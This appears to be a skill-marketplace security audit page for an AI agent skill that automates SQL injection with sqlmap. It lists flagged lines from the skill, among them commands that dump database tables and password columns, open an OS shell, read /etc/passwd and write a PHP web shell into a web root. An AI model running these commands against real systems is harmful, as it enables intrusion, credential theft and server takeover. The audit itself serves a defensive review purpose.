Skip to main content

sqlmap-database-pentesting

Automates SQL injection testing and database enumeration using SQLMap for effective penetration testing.

Install this skill

or
50/100

Security score

The sqlmap-database-pentesting skill was audited on Feb 28, 2026 and we found 28 security issues across 2 threat categories, including 1 high-severity. Review the findings below before installing.

Categories Tested

Security Issues

high line 306

Access to /etc/passwd

SourceSKILL.md
306sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
medium line 258

Access to root home directory

SourceSKILL.md
258sqlmap -r /root/Desktop/login.txt -p username --dbs --batch
medium line 395

Access to root home directory

SourceSKILL.md
395sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session
low line 41

External URL reference

SourceSKILL.md
41http://target.com/page.php?id=1'
low line 50

External URL reference

SourceSKILL.md
50sqlmap -u "http://target.com/page.php?id=1" --batch
low line 53

External URL reference

SourceSKILL.md
53sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
low line 60

External URL reference

SourceSKILL.md
60sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
low line 72

External URL reference

SourceSKILL.md
72sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
low line 83

External URL reference

SourceSKILL.md
83sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
low line 94

External URL reference

SourceSKILL.md
94sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
low line 99

External URL reference

SourceSKILL.md
99sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
low line 104

External URL reference

SourceSKILL.md
104sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
low line 129

External URL reference

SourceSKILL.md
129# http://target1.com/page.php?id=1
low line 130

External URL reference

SourceSKILL.md
130# http://target2.com/page.php?id=2
low line 233

External URL reference

SourceSKILL.md
233sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
low line 237

External URL reference

SourceSKILL.md
237sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
low line 241

External URL reference

SourceSKILL.md
241sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
low line 245

External URL reference

SourceSKILL.md
245sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
low line 264

External URL reference

SourceSKILL.md
264echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
low line 265

External URL reference

SourceSKILL.md
265echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
low line 274

External URL reference

SourceSKILL.md
274sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
low line 277

External URL reference

SourceSKILL.md
277sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
low line 283

External URL reference

SourceSKILL.md
283sqlmap -u "http://target.com/page.php?id=1" \
low line 290

External URL reference

SourceSKILL.md
290sqlmap -u "http://target.com/page.php?id=1" \
low line 300

External URL reference

SourceSKILL.md
300sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
low line 303

External URL reference

SourceSKILL.md
303sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
low line 306

External URL reference

SourceSKILL.md
306sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
low line 309

External URL reference

SourceSKILL.md
309sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch
Scanned on Feb 28, 2026
View Security Dashboard
Installation guide →
GitHub Stars 201
Rating
4.01
Rate this skill
Categorydevelopment
UpdatedMay 13, 2026
aiskillstore/marketplace